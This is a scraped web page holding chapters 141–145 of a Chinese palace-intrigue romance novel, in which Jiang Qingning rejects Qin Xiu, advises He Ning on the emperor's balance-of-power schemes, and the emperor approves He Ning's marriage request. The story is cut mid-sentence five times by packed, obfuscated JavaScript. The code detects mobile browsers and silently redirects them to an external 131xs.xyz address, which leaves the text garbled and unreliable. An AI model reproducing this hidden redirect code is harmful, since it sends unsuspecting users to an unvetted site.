d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026057|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他必须要立刻看到姜清宁,他等不了了。 无论姜清宁的心如今是否在他身上,但他们命中注定就是要结为夫妻的,秦休从前这么觉得,如今只是更加觉得。 三日,他只需半日,向姜清宁提亲。 与此同时,一辆宽敞华丽的马车,朝着镇北王府的路上而去。 车厢内,贺宁闭目靠在柔软的引枕上,脸上神色淡淡,仿佛方才朝堂之上发生的事与他毫无关系。 而那双放在膝上的手指节微微泛白,似乎泄露了他内心并非全然的平静。 对面的心腹幕僚周先生捋着山羊胡,眉头紧锁,低声道:“世子,今日此举是否太过凶险?” “那姜姑娘身份敏感又与秦世子牵扯甚深,您当众求娶无异于烈火烹油,陛下怕也是存了观望和利用之心,秦世子那边恐怕更是已视您为眼中钉了。” 贺宁缓缓睁开眼,沉静的眸子仿佛藏着深不见底的幽潭。 他望着车窗外飞速掠过的街景,声音低沉平缓: “父亲临行前嘱我京城水深步步惊心,若遇事当以本心为舵,以不变应万变,但镇北王府不惹事亦不怕事。’” 他顿了顿,目光似乎穿透了车帘。 “姜柏川将军忠勇戍边,其女无辜受难被荀家折辱,然其品性坚韧,贺某求娶一为本心所向,二为表明立场。” “父亲远在北疆,陛下多疑,朝中暗流汹涌,秦家势大依附者众。” “今日我求娶姜氏便是告诉陛下,也告诉这满朝文武,我镇北王府行止由心,不攀附不畏缩,至于秦世子……” 贺宁唇角勾起:“他若真如传言中那般在意姜姑娘,今日在殿上为何一言不发?那是他背后不止是有姜清宁一人,他爱姜清宁,却也在意秦家人。” 周先生闻言,眼中精光一闪,若有所思。 贺宁不再多言,重新闭上眼睛。 宁阁。 正院内室,空气里弥漫着茶叶的苦涩清香。 姜清宁背对着门口,她换下了月白宫装,穿着一身靛蓝衣裙,背影挺得笔直的站在窗边。 第一百四十一章姜清晞剑指秦休 身后传来轻微的脚步声,似乎是有事要禀报。 姜清宁闭上眼,低声询问紫苏:“外头怎的如此热闹?今日这京城可发生了何事?” 紫苏抿唇,艰难道:“昨日镇北王世子贺宁自北疆归来,今日于金銮殿上被皇帝册封为正三品按察司使,意为将人彻底留在京城为官,但镇北王世子领了职位之后,竟向陛下求了一道赐婚旨意……” “是请的和我的赐婚?” 姜清宁低声询问,下意识地抬头望着窗外灰蒙蒙的天空,雨水顺着屋檐滴落,在青石板上砸开小小的水花。 这几日总是阴沉沉地下雨,天气似乎没好过。 “……是。”紫苏猛地闭上眼,心碎不已。 她比谁都要清楚,姜家大房应该对皇室产生的仇恨,皇帝若是在此时赐婚,姜清宁却依旧没办法拒绝。 皇权,是至高无上的巅峰,若是想要复仇,那只能翻了这天。 “收拾干净,然后闭门谢客,任何人来都不见。” 紫苏含着泪应下,连忙叫来小丫鬟一起收拾地上的狼藉。 急促的马蹄踏碎了宁阁外的宁静。 秦休翻身下马,绯色官袍的衣角飞扬,发上身上早被雨水浸湿,而他只是目光如炬地投向紧闭的府门。 同时,整个京城都知道了一件事。 镇北王世子贺宁当朝求娶被姜家除名、父兄远戍岭南、且与秦国公世子纠缠不清的姜清宁。 这惊世骇俗的消息,被有心人以最快的速度传播,急速地在勋贵府邸、茶楼酒肆间疯狂流传。 “听说了吗,贺世子,正三品按察司使,竟要娶那个姜氏!” “疯了吧,她可是和离过的,据说还生过孩子!” “荀御史亲口在朝堂上反驳的,还能有假?” “啧啧,一个弃妇,先是攀扯秦世子,如今又搭上贺世子,可真是好手段!” “也不尽然,贺世子亲口说赞她坚韧聪慧呢。” “哼,谁知道是不是用了什么狐媚手段?一个无依无靠的孤女,凭什么?” 百姓见到秦休出现,纷纷聚拢在宁阁的门外。 姜清宁的名字,几乎是瞬间成了京城最受争议的谈资。 秦休的脸色在听到隐约传来的议论声时,阴沉得几乎要滴出水。 他无视那些窥探的目光,大步上前,用力叩响了门环。 门开了一条缝,露出门房脸。 “秦世子?” “我要见姜清宁。”秦休的声音低沉,带着不容置疑的命令。 “世子殿下稍候片刻,小的这就去禀报紫苏姑娘。”门房应了声,严严实实地关上府门。 半柱香的时间过去,府门被从里面打开,紫苏迈步走出,恭敬地行礼:“世子殿下,今日大小姐不见客。” 秦休皱眉,沉声道:“我有话要与她说,还请紫苏姑娘通融一下。” 紫苏飞快地摇头,声音坚定:“世子殿下恕罪,我家姑娘说了,今日闭门谢客,谁也不见!” 秦休的眉峰狠狠一蹙,深吸一口气,恳求地道:“你去告诉她,若她不想嫁给贺宁就让我进去。” “我秦休愿以国公府世子夫人之礼,八抬大轿,十里红妆,风风光光迎她入府,绝不负她!” 紫苏为难地看着他,鼓起勇气低声道:“世子殿下,大小姐早料到您会这么说,放心借让奴婢告诉您,若是让她嫁给您,她不愿,但若是嫁给贺世子,倒……倒也不是不可以。” 秦休脸上的血色瞬间褪尽,只剩下死灰般的惨白。 他紧盯着紫苏,仿佛要从她脸上找出撒谎的痕迹。 紫苏被他看得心悸,微颤着挺直背脊,似乎在表达话中的真实意思。 许久。 秦休紧握的拳头缓缓松开,指节因为用力过度而泛着青白。 他没有再说什么,转身拖着沉重的脚步,朝着自己的马匹走去。 青之和青冥连忙上前牵马,看着主子失魂落魄的样子,急得如同热锅上的蚂蚁。 “大人,您……” “紫苏姑娘,我家大人他……”青之忍不住看向紫苏。 紫苏用力地摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026058|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,眼圈通红,一个字也说不出来,飞快地关上了门。 夜色浓稠如墨,万籁俱寂。 宁阁内一片黑暗,主屋窗棂透出一点微弱的烛光,映着窗纸上一个清瘦孤寂的剪影。 一道黑影悄无声息地翻过高墙,落在院中。 然而,就在他脚步刚触及院中青石板的瞬间。 “咻!” 一道凌厉至极的破空之声骤然响起,带着冰冷的杀意,直射秦休面门。 秦休到底是沙场锤炼出的本能,千钧一发之际猛地侧身。 “嗤啦!” 冰冷的金属擦着他上臂的衣料飞过,带起一串细小的血珠。 剧痛传来,是擦伤,若非他反应神速,此刻那暗器已钉入他的咽喉。 秦休心中警铃大作,瞬间从浑噩中惊醒,猛地抬头看向主屋方向。 “登徒子!看剑!” 一声清脆的怒喝响起,伴随着一道身影如轻燕般从主屋的窗口飞掠而出。 身法灵动迅捷,那身影在空中漂亮翻身,稳稳落在院中的石桌上,手中一柄寒光闪闪的长剑,直指秦休。 借着朦胧月光,秦休看清了来人。 一个约莫十五六岁的少女,眉眼间与姜清宁有五六分相似,此刻柳眉倒竖,杏眼圆睁,满是怒火和鄙夷,正是姜清晞。 “是你?!”姜清晞看清秦休的脸,更是怒不可遏,“秦休你这个道貌岸然的**子,我看错了你,竟敢半夜三更翻墙来闯我姐姐的闺阁!” “若非今日我缠着要和长姐同睡,是不是就被你得逞了?无耻之徒!” 她手中长剑嗡嗡作响,剑尖距离秦休不过咫尺,凌厉的剑意让秦休不得不后退。 “小妹住手!不得对秦大人无礼!” 主屋的门被推开。 姜清宁披着一件素色的外衫走了出来,长发简单地拢在身后,脸色在月光下显得格外苍白清冷。 她的目光扫过秦休臂上渗血的伤口,又落在妹妹寒光闪闪的剑尖上,最终定格在秦休那张狼狈的脸上,眼神复杂难辨。 第一百四十二章贺宁求见 “长姐!他……”姜清晞忿忿不平,剑尖依旧指着秦休。 “把剑收起来。”姜清宁的声音带着不容置疑,“回房等我,我与他说几句话。” 月光下,姜清宁与秦休相对而立,中间隔着几步距离,却仿佛隔着万丈深渊。 夜风拂过,吹动姜清宁素色的外衫衣角,吹不散两人之间凝滞的沉重。 秦休的目光紧紧锁在她清冷的脸上,臂上的伤口隐隐作痛,却远不及心口的万分之一。 他喉结艰难地滚动了一下,声音沙哑的厉害,带着孤注一掷的决绝: “姜清宁,嫁给我。” “你若点头,明日卯时,秦国公府的聘礼定会铺满这宁阁的院落,我秦休在此立誓,此生唯你一人,绝不负你。” 这句话带着卑微的祈求。 然而,回应他的,是姜清宁毫无波澜的冰冷声音: “秦休,我不愿意。” 秦休挺拔的身躯几不可察地晃了一下,脸色在月光下惨白如纸。 两人就这样沉默地对峙着,庭院里只剩下风声,和彼此压抑的呼吸声。 时间在死寂中缓慢爬行,每一瞬都如同凌迟。 良久,秦休才从齿缝间挤出干涩的声音,带着濒临破碎的绝望:“为什么?” 姜清宁抬起眼,那双清洌的眸子在月光下如同寒潭深水,清晰地映出秦休痛苦的身影,却不起一丝涟漪: “秦休,与你在一起顾虑太多,秦国公府树大根深,与各方势力盘根错节,牵一发而动全身,贺宁今日朝堂之举绝非偶然。” “陛下急召镇北王世子回京,甫一入朝便授以要职,更在此时求娶一个身份敏感,与你牵扯不清的女子,秦休,你真看不出这是陛下在落子吗?” “贺宁就是陛下悬在你秦家头顶、用来制衡甚至斩断你秦家羽翼的那把刀,我若入你秦家,便是将自己、将岭南的父兄都绑上了你秦家这艘船,随时可能粉身碎骨。” 她顿了顿,目光更冷:“从今日起,你我的合作关系到此为止,奉国公林家之事,明日宁阁自会备上厚礼相谢,此后你我两清再无瓜葛。” 话音落下,她决然转身,朝着亮起灯光的房门走去,背影挺直而孤绝,没有丝毫留恋。 就在她的脚即将迈过门槛的刹那,身后传来秦休的声音,带着绝望的挽留: “姜清宁,如此急迫地与我划清界限……你,是想要谋逆吗?” 她脚步猛地顿住,整个人如同被瞬间冻结。 下一刻,她豁然转身。 那双总是清冷平静的眸子,此刻如同淬毒般,瞬间迸发出毫不掩饰的凛冽杀意。 秦休被这眼神刺得心脏骤缩,一股灭顶的剧痛瞬间席卷全身。 他踉跄着后退半步,脸上血色尽褪,只剩下无尽的苦涩和难以置信的哀伤。 他望着她眼中那令人心寒的杀意,仿佛全身的力气都被抽空,声音干哑破碎,带着卑微的哀求: “即便你真有此心,我秦休亦会倾尽全力相助,只求你不要推开我……” 姜清宁眼中的杀意缓缓敛去,只剩下彻骨的疏离和漠然。 她望着他,如同望着一个陌生人,红唇轻启:“秦大人,请自重。” 话音落,她毫不犹豫地转身,迈进门槛,反手关上房门。 秦休孤零零地站在冰冷的庭院里,望着紧闭的房门,仿佛失去灵魂。 月光将他孤寂的影子拉得老长。 许久,他才踉跄着转身,一步步消失在浓重的夜色里。 翌日。 当京城百姓还在为昨日的八卦津津乐道时,宁阁紧闭的大门,却在众目睽睽之下,为贺宁派来的心腹敞开。 一抬抬扎着红绸,分量十足的礼箱,流水般被抬进宁阁的院落。 绫罗绸缎、珍玩古器、名贵药材……琳琅满目,几乎堆满宁阁四进的院子,仿佛无声地宣告着镇北王府的诚意与势在必得。 这一幕,与昨日秦休被拒之门外孤身离去的凄凉,形成了鲜明到刺眼的对比。 “瞧见没,贺世子的人进去了,还带了这么多聘礼。” “啧啧,姜氏好手段啊,昨日还吊着秦世子,今日就攀上更高的枝了。” “看来是选定了贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029459|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世子了,秦世子……唉真是……” “我就说这女人不简单,看这阵仗!” 街头巷尾的议论声如同沸水,羡慕、嫉妒、鄙夷的目光几乎要将宁阁淹没。 厅堂内,下人早已屏退。 贺宁一身月白云纹锦袍,身姿挺拔如松,气宇轩昂。 他端坐在客位,目光落在主位上那抹清冷如霜的身影上。 姜清宁今日穿着一身素雅的藕荷色襦裙,发髻简单绾起,只簪了一支白玉簪。 她脸上没什么表情,平静地接受着贺宁的审视,姿态端庄而疏离。 贺宁看着眼前这张清丽绝伦、眉宇间却凝着化不开寒霜的脸,心头没来由地轻轻一跳。 不同于前日傍晚雨幕中的远观,此刻近看,她身上那种清冷孤高与端庄温婉奇异融合的气质,对他来说带着一种惊心动魄的吸引力。 他下意识地感到一阵细微的欢喜,这初见的惊艳,着实让他震撼。 姜清宁敏锐地捕捉到他眼中那一闪而逝的亮光,心中一片了然。 她微微抬手示意:“都下去吧。” 侍立一旁的紫苏等人立刻躬身退下,厅堂内只剩下相对而坐的两人。 贺宁定了定神,脸上露出温和得体的笑容,率先开口,语气带着真诚的赞赏:“姜姑娘,昨日朝堂之上,贺某唐突,然心意拳拳天地可鉴,今日略备薄礼聊表心意,还望姑娘莫要嫌弃。” 姜清宁的目光平静地扫过他,眼神太过通透,让贺宁脸上的笑容微微一顿。 “世子殿下。”姜清宁的声音清洌,没有任何客套寒暄,直指核心,“殿下昨日金殿求娶,今日重礼登门,如此声势浩大,不惜将清宁置于风口浪尖,仅仅是为了心意拳拳吗?” 贺宁一怔,没想到她如此直接。 他正色道:“自然,贺某对姑娘一见倾心,真心求娶。” 姜清宁勾唇:“殿下此言或许连自己都未全然信服吧?殿下奉旨回京,陛下授殿下正三品按察司使之职,位同秦休,殿下可知陛下为何急召殿下入京,又为何偏偏在此时,将殿下推到这风口浪尖之上?” 第143章挑起 贺宁眼神微凝,脸上的温和渐渐褪去。 姜清宁开口,字字清晰,敲打在贺宁的心上:“秦家势大,根深蒂固,陛下早有忌惮之心, 殿下之父镇北王手握重兵,雄踞北疆,于陛下而言,是倚仗,亦是悬顶之剑。” “如今陛下召殿下回京授以要职,名为重用实为质子,亦为制衡秦家之利刃, 而殿下昨日当众求娶于我一个与秦休纠缠不清、被姜家除名、父兄远在岭南的孤女, 殿下以为陛下心中作何想?满朝文武作何想?秦休又作何想?” 贺宁脸色微变,眼神怪异地看着姜清宁。 “殿下此举无异于主动踏入陛下精心布下的棋局,将自己置于与秦休针锋相对的第一线,成了陛下手中最锋利、也最显眼的那把刀。” “陛下乐见其成,殿下所求的赐婚,或许很快便能如愿,因为这桩婚事本身,就是陛下用来敲打秦家、分化勋贵、稳固帝权的一步绝妙好棋。” 贺宁的脸色彻底变了。 他并非愚蠢之人,然姜清宁这抽丝剥茧的分析,将他那点少年意气的一见倾心,和表明立场的心思瞬间击得粉碎。 他之前便隐隐有所察觉姜清宁的不同,却远不知眼前这女子看得如此透彻。 姜清宁看着他眼中翻涌的震惊,恢复了清冷疏离的姿态: “所以世子殿下,您的真心与陛下的棋局孰轻孰重?您所谓的求娶于我而言,是福是祸?” 她淡笑,带着看透世情的苍凉:“普天之下莫非王土,在这天下为局的棋盘上,你我都不过是身不由己的棋子罢了,殿下好自为之,娶与不娶都随你。” 贺宁脸色变得凝重无比,甚至透着一丝被看透的狼狈。 他放在膝上的手无意识地收紧,指节泛白。 厅堂内一时只剩下街道外隐约传来的街市喧嚣,两相对比反倒更衬得室内死寂。 “棋子……” 贺宁轻笑了声,“姜姑娘此言,未免太过危言耸听。” “家父镇守北疆数十载,浴血奋战,只为拱卫大周疆土,保境安民, 陛下倚重,授以重任,乃是君臣相对,我贺家世代忠良,天地可鉴, 此番入京,亦是奉旨报效朝廷,何来质子、棋子之说?至于求娶姑娘。” 他顿了顿,目光复杂地看向姜清宁清冷的侧脸,“贺某虽不敢言全无私心,但亦是真心实意,愿以正妻之位相待,护姑娘周全。” “忠良?” 姜清宁唇角那抹极淡的讥诮再次浮现,字字如刀,直刺贺宁。 “殿下,忠良二字,从来不是靠自诩,而是看君王如何想,看朝局如何变。” 她微微倾身,目光锐利如鹰隼,牢牢锁住贺宁动摇的眼神: “令尊镇北王,功勋卓著,手握雄兵,镇守北疆门户,确为大周柱石, 然功高震主,古来皆然,殿下可曾想过,为何令尊在北疆数十年,陛下从未召其回京述职? 为何殿下甫一成丁,陛下便迫不及待下旨召殿下回京,名为恩典,实为羁縻, 令尊在北疆一日,手握重兵一日,殿下在京中便一日是陛下手中的人质,令尊若有异动,殿下性命堪忧,此其一。” 父亲多年未归京。 他年少时也曾疑惑,却只当是军务繁忙,陛下信任。 后来长大之后在军师的教导下,反倒是认清了现实,但没想到,如今竟然被姜清宁赤裸裸地点破。 姜清宁不给他喘息的机会,继续道: “其二,北疆战事当真如殿下所知那般年年告急,片刻离不得令尊坐镇吗?” 她不等贺宁回答,便自问自答,“北狄铁骑虽强,然自令尊镇守以来,大小战役不下百次,早已将其主力打残,边境线稳固推进百里, 近五年来,北疆可有真正威胁国本的战事?无非是些小股流寇骚扰,以令尊之能,麾下猛将如云,何须他本人寸步不离坐镇? 陛下年年以北疆不稳为由拒召令尊回京,其用意殿下如今还不明白吗,非是不能回,而是陛下不愿他回,更不敢让他回!” “其三,殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029460|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为陛下授您按察司使之职,恩典与秦休同掌刑狱,整纲纪,当真是看重您的才干?” 她冷笑一声,“我倒是觉得,陛下看重的是你镇北王世子的身份,是将你置于秦休同等位置, 秦休掌刑部多年,根深蒂固,羽翼渐丰,陛下早已忌惮, 如今给予殿下职位,便是要在刑名之事上,竖起一杆能与秦休分庭抗礼的大旗,让你们互相牵制,互相消耗, 而陛下稳坐钓鱼台坐收渔利,而你贺宁从踏入京城那一刻起,就已经是陛下棋盘上,用来对付秦家、平衡朝局的那颗最显眼的棋子。” “至于你昨日求娶于我……” 姜清宁的目光扫过满院刺眼的聘礼,带着一丝冰冷的怜悯。 “更是正中陛下下怀,我姜清宁,一个被家族除名、父兄在岭南看似戴罪实则手握兵权、又与秦休有诸多纠缠的女子,被你这位新晋的、用来制衡秦家的世子当众求娶, 殿下,这难道不是将陛下制衡之术推向高潮的绝妙一步吗?陛下会乐见其成,因为这场婚事一旦成功,首先便是对秦休及其背后势力的沉重打击, 其次,将我这个麻’推给你贺家,陛下既能安抚岭南的父兄,又能用我父兄牵制你贺家,更将你贺家彻底推到了秦家的对立面, 你贺家、秦家,两大手握重兵的勋贵,从此势同水火,互相制衡,陛下便可高枕无忧,而你贺宁不过是陛下这盘棋局里,一颗被精心安排、身不由己的过河卒子。” 忠良? 君臣相对? 报效朝廷? 少年意气的一见倾心? 都成了天大的笑话! 贺宁安静地坐在原位置,但心里早已掀起滔天巨浪。 他这当做姜清宁是没有雄心壮志的女子,只懂得内宅或者是商贾之术。 未曾想眼前的女子竟然懂谋略、识兵法,亦懂帝王制衡之术。 他引以为傲的镇北王府世子身份,是悬在父亲头顶的利剑。 他新得的高官显爵,是皇帝用来挑起内斗的毒饵。 第144章奉陪 他自以为坦荡的求娶,更是将自己和整个镇北王府,都推入了皇帝精心设计的角斗场中心。 这些都被姜清宁看了个清楚,让贺宁误以为自己就是个提线木偶,每一步都走在被人算计之中。 他盯着依旧端坐、神色清冷如霜的姜清宁,声音冷凝: “你怎会知道这些,你一个闺阁女子,如何能洞悉朝堂秘辛和帝王心术?” 姜清宁心头一跳,她熬了一整夜想出来的朝堂局势,却好似并没有说动贺宁分毫。 他似乎比她想的,还要有分寸,而没准这一切,反而是在贺宁的掌控之中,跟着他的棋局走一样。 或许,唯一的变数,只是她也说不准。 姜清宁平静地迎视着他审视的目光,眼神没有丝毫闪躲: “殿下忘了?我父也曾是陛下倚重的边将,我兄长姜清淮亦是少年英才, 若非朝堂倾轧,构陷不断,我姜家大房何至于如今被除名宗祠,父兄远戍烟瘴之地,生死未卜?” “从云端跌落泥沼,从勋贵贵女沦为被家族唾弃的孤女,殿下,这世间最锋利的刀,不是疆场上的兵刃, 而是这金銮殿上的唇枪舌剑,是那龙椅上翻云覆雨的手,见惯了生死,看透了倾轧,这些帝王心术、朝堂制衡的把戏,又有何难猜?” 她微微一顿,目光落在贺宁的脸上,是近乎悲悯的了然: “令尊镇北王雄踞北疆数十年,功高不赏,反而被陛下以北疆不稳为由牢牢按在边关,连亲子都被召为人质, 殿下以为令尊当真不知其中关窍吗,恐怕他比谁都清楚,他激流勇退请旨永镇北疆,甘愿远离京城权力中心,甚至默许殿下您入京为质,为的是什么? 不是忠君爱国的大道理,而是为了保全贺家满门,为了在陛下那日益深重的猜忌之心下寻得生机,殿下父亲的选择才是真正的明哲保身之道。” 她轻轻摇了摇头,未尽之言,尽在不言中。 厅堂内再次陷入长久的沉默。 窗外的喧嚣似乎也远去了。 贺宁低着头,双手紧紧抓住膝盖,指节因用力而发白。 过了许久,他才缓缓抬起头,眼中依旧意气风发,甚至带上了隐含的笑意。 “姜姑娘,依你之见,贺某如今该如何自处? 姜清宁微微诧异贺宁的反应,心中却是为偏向和他合作,而产生了更深的坚定。 “殿下如今,已身在局中,退无可退。” 她的声音恢复了惯有的清冷,“按察司使之位是陛下所授,亦是悬顶之剑,做得好,是分内之事, 做得不好,便是授人以柄,至于求娶之事……” 她放下茶盏,目光平静无波地看向贺宁。 “陛下既乐见其成,殿下若此时反悔,便是自打耳光,更会引来陛下猜忌, 认为殿下与秦休或有勾结,或是心向镇北王,不甘为质,骑虎难下莫过于此。” 进是陷阱。 退是深渊。 “那难道就只能任由陛下摆布?”贺宁波澜不惊。 “摆布?” 姜清宁唇角微勾,露出一抹极淡、却带着冷冽锋芒的笑意,“殿下,棋子亦可反制棋手, 关键在于殿下是否愿意跳出意气,真正看清这盘棋局的本质,为自己,也为镇北王府,谋一条生路。” 贺宁面上的笑意不在遮掩,更为轻松:“请姑娘明示。” 姜清宁的目光变得幽深,如同深不见底的寒潭: “陛下想要的,是秦家与你贺家互相牵制,殿下要做的,便是顺着陛下的心意,扮演好这把制衡之刀的角色。 秉公执法,不偏不倚,该查秦家时,便拿出真凭实据去查,该办秦家时,便拿出雷霆手段去办, 唯有如此,才能取信于陛下,让他觉得你是一把好用的刀,暂时不会对殿下和镇北王府下手。” “至于求娶之事。” 她顿了顿,目光扫过贺宁复杂的神色,“殿下若真心想护我,或者想利用这桩婚事做些什么,那便更要坐实它。 陛下赐婚你便欣然接受,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029461|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我娶入王府,置于你的保护之下, 陛下想用我牵制岭南父兄,想用我激化你与秦休的矛盾,殿下何不将计就计?” 她的声音压得更低,带着一种洞悉人心的冷酷: “将我留在身边,殿下便有了一个天然的、陛下无法轻易动用的人质,陛下若想对岭南动手,便需顾忌殿下手中之质, 同时殿下也可借这桩婚事,暗中观察岭南动向,甚至在必要之时,成为沟通岭南与北疆的一道隐秘桥梁, 陛下想让你我成为他制衡的棋子,殿下何不借此,为自己织一张护身的网?” 贺宁听得心惊肉跳,一改初见时的印象。 姜清宁的提议很是大胆,将一场被迫的、充满算计的联姻,瞬间转化为一场更宏大、更危险的博弈。 这需要何等的胆识和心机? 他看着眼前女子清冷如霜的眉眼,第一次真切地感受到一种深不可测的寒意,和一种令人心悸的吸引力。 她不是在寻求庇护,她是在主动入局,甚至试图掌控棋局。 “你可知如此行事,风险有多大,稍有不慎便是万劫不复。” 姜清宁淡淡一笑,那笑容里带着一种看透生死的淡漠: “殿下,从被父兄远戍岭南的那一刻起,我姜清宁便已在万劫不复的边缘, 与其坐以待毙,任人鱼肉,不如放手一搏,至少能拉几个垫背的。” “殿下,可要与我合作 窗外的阳光透过窗棂,在地上投下斑驳的光影,却驱不散室内的寒意。 贺宁久久地凝视着姜清宁,心中翻江倒海。 父亲的自保,皇帝的猜忌,秦休的威胁,自身的困境,还有眼前这女子破釜沉舟的决绝和惊人的心机。 一切的一切,都将他推到一个前所未有的选择口。 过了许久,他缓缓站起身,对着姜清宁,深深一揖,姿态前所未有的郑重: “姜姑娘一席话如醍醐灌顶,贺宁受教了,今日之言贺宁铭记于心,这盘棋,贺某奉陪到底!” 第145章圣裁 金銮殿的晨钟敲碎了拂晓的沉寂,余音在空旷宏大的殿宇间嗡嗡回荡。 百官依序鱼贯而入,依品阶肃立,鸦雀无声。 唯有衣料摩擦的窸窣,和靴履踏过金砖的轻响,汇成一股沉闷压抑的暗流。 龙椅之上的陆禀,冕旒垂下的玉藻微微晃动,遮挡了他大半面容。 只余下两道审视的目光,缓缓扫过阶下每一个臣子的头顶,最终落定在武将队列前端,那个挺拔如松的身影上。 镇北王世子贺宁。 贺宁身着正三品按察司使的绯色官袍,腰间束着象征武职的金带,身姿笔挺如北疆不折的白杨。 身上似乎还带着朔风的凛冽,与边关烽火的硝烟气息,与殿内熏炉里袅袅升起的、过分甜腻的龙涎香气格格不入。 侍立在御座旁的司礼太监,尖细的嗓音划破凝固的空气:“有本启奏,无本退朝——!!!” 话音未落,贺宁已向前踏出一步,靴底落在金砖上发出清晰利落的一声轻响,瞬间吸引了所有人的注意。 他双手高举**笏板,声音沉稳有力:“臣,贺宁,有本启奏!” “奏来。”陆禀的声音传来,听不出喜怒。 贺宁微微垂首,姿态恭敬,目光却沉稳地抬起,直视御阶: “臣蒙圣恩,授以按察之职,督察百官,肃清吏治,此乃陛下信重, 臣自当肝脑涂地,以报天恩,然,臣今日所奏,非为公事,乃为私情。” 他略作停顿,殿内落针可闻,无数道目光交织在他身上。 他深吸一口气,字字清晰,如珠落玉盘:“臣倾慕姜氏清宁已久,其品性高洁,坚韧不拔,臣心折之至,恳请陛下隆恩浩荡,赐婚于臣与姜氏清宁,以全臣一片赤诚之心!” 压抑的低语声瞬间如沸水般在殿内炸开。 “怎的一日不成,还要请奏两日吗?” “贺大人还不放弃?那姜清宁到底有什么好?” “安平伯府那点糟污事,谁人不知?” “姜清宁和离不过数日,带着嫁妆住进了宁阁,早已是京城最大的谈资。” 如今这位新贵、手握重权的镇北王世子,竟在朝堂之上,当着满朝文武和天子的面,数次公然求娶一个刚刚和离的妇人? 这简直石破天惊! 勋贵队列中,几位老臣的眉头拧成了疙瘩,神色鄙夷; 文官那边,也有人微微摇头,面露不以为然。 而在这片骤然升起的喧嚣中心,另一个人却静得可怕。 秦休就站在贺宁斜后方不远,一身绯色朝服,衬得他面容愈发冷峻,如同寒潭深水。 他握着玉笏的手指,关节因用力而泛白。 他低垂着眼睑,浓密的睫毛在眼下投出一小片阴翳,遮住了眸子里翻涌的惊涛骇浪。 只是周身散发出的那股无形的、几乎要将空气都冻结的寒意,让离他稍近的几个官员,都下意识地缩了缩脖子,噤若寒蝉。 陆禀的嘴角几不可察地向上牵动了一下,是一种看到棋子精准落入预定位置的,洞悉一切的了然。 他微微侧首,目光状似无意的,扫过秦休的侧脸,又落回贺宁身上。 那点细微的笑意迅速扩大,最终化为一阵洪亮的、甚至带着几分畅快意味的大笑。 “哈哈哈!好!好一个一片赤诚之心!” 陆禀的笑声在大殿中回荡,“朕记得,当年你父王在北疆,亦是性情中人,贺卿家今日此举,颇有乃父之风,痛快!” 昨日之事他并非没有耳闻,贺宁在被他拒绝之后,竟然丝毫不气馁,直接将无数的礼品送到了宁阁。 他抚掌,金玉相击,发出清脆的响声,打破了殿内因震惊而生的死寂。 “少年慕艾,英雄难过美人关,人之常情。” 他略作沉吟,“姜氏其父兄亦是国之干城,虽远在岭南,忠勇可嘉,其女能得贺卿如此倾心,想必有其过人之处。” 他身体微微前倾,冕旒的玉珠轻轻碰撞,目光炯炯地锁定贺宁: “既然贺卿心意已决,一片赤诚可昭日月,朕岂有不成全之理?此乃佳话,朕,准你所请!” “陛下圣明!”

